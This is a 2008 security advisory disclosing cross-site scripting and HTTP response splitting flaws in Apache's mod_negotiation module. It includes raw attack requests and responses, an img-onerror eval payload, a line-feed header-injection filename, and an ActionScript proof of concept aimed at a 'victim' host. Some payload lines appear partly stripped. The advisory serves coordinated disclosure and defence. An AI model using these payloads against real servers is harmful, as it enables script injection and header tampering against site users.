Apache mod_negotiation Xss and Http Response Splitting

Date: January 22th, 2008

Tested Versions: Apache <=1.3.39 
                        <= 2.0.61
                        <= 2.2.6

Minded Security ReferenceID:
       MSA01150108

Credits:
        Discovery by 
        Stefano Di Paola of Minded Security 
        stefano.dipaola [_at_] mindedsecurity.com

Severity: Low/Medium

Permalink: 
http://www.mindedsecurity.com/MSA01150108.html 

[ Background ]

>From Apache Mod_Negotiation page:

Content negotiation, or more accurately content selection,
is the selection of the document that best matches the clients
capabilities, from one of several available documents. There are
two implementations of this.
* A type map (a file with the handler type-map) which explicitly
  lists the files containing the variants.
* A MultiViews search (enabled by the MultiViews Option, where the
  server does an implicit filename pattern match, and choose from
  amongst the results.


[ Summary ]

Mod_negotiation doesn't sanitize filenames in '406 Not Acceptable'
response and '300 Multiple Choices' message body.
This could lead to Xss if the name of the file is controlled by an
attacker (i.e. by previously uploading it).

Moreover, as the list of the filenames is also sent, without being
sanitized, in the response header, it could result in a Http Response
Splitting [1] issue if the name of the file contains '\n' (Line Feed).


[ Analysis ]

I. Cross Site Scripting 

Let's suppose mod_negotiation is enabled and an attacker could upload 
a file with arbitrary name and whatever mime extension.
For example a legit jpeg file named:

.jpg

Then by requesting it without extension with Accept header set to
image/jpeg; q=0, 

----------------------------------------------------

GET 
HTTP/1.1
Host: 127.0.0.1
Accept: image/jpeg; q=0

HTTP/1.1 406 Not Acceptable
Date: Tue, 15 Jan 2008 15:43:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Alternates: {".jpg" 1 {type image/jpeg}
{length 2}}
Vary: negotiate
TCN: list
Content-Length: 610
Content-Type: text/html; charset=iso-8859-1





Not Acceptable
An appropriate representation of the requested resource /<img
src=sa 
onerror=eval(document.location.hash.substr(1))> could not be found
on 
this server.
Available variants:


.jpg ,
type image/jpeg



-----------------------------------------------------

As it could be noted, no sanitization of the filename is done,
leading to Xss.


II. Http Response Splitting 

By using a similar technique, Http Response Splitting could be 
triggered if there's some way to set the name of the file like
the following:

'junk
Header: Injected
blah:.jpg'

Then, by requesting the urlencoded file name:

------------------------------------------------------
GET /junk%0aHeader:%20Injected%0ablah: HTTP/1.1
Host: 127.0.0.1
Accept: image/jpeg; q=0

HTTP/1.1 406 Not Acceptable
Date: Tue, 15 Jan 2008 16:06:52 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.6
Alternates: {"junk
Header: Injected                             <----- Here!
blah:.jpg" 1 {type image/jpeg} {length 2}}
Vary: negotiate
TCN: list
Content-Length: 508
Content-Type: text/html; charset=iso-8859-1





Not Acceptable
An appropriate representation of the requested resource /junk
Header: Injected
blah: could not be found on this server.
Available variants:

junk
Header: Injected
blah:.jpg , type image/jpeg


Apache/2.0.55 (Ubuntu) PHP/5.1.6 Server at 127.0.0.1 Port
80


------------------------------------------------------

As it could be noted, the header response is splitted and "Header:
Injected" is,
indeed injected.

[ Proof of Concept ]

The following actionscript can be used in order to trigger the Xss.

---------------------------------------------------------- 
// Tested on IE 7 and FF 2.0.11, Flash plugin 9.0 r115
// Compile with flex compiler
package
{
  import flash.display.Sprite;
  import flash.net.*
  public class TestXss extends flash.display.Sprite {
    public function TestXss(){
var r:URLRequest = new URLRequest('http://victim/ 
20onerror=eval(document.location.hash.substr(1))>#alert(123)');

      r.method = 'POST';
      r.data = unescape('test');
      r.requestHeaders.push(new URLRequestHeader('Accept', 'image/jpeg;
q=0'));

      navigateToURL(r, '_self');
     
    }
    }
}
----------------------------------------------------------

[ Credits ]

Stefano di Paola is credited with the discovery of this vulnerability.

[ Disclosure Timeline ]

15/01/2008  Initial vendor notification
16/01/2008  Vendor Confirmed 
21/01/2008  Coordinated public disclosure
22/01/2008  Minded Security Research Lab Advisory



[ Reference ]

[1] "Divide and Conquer, HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics ", Amit Klein, March 2004.
http://packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf 



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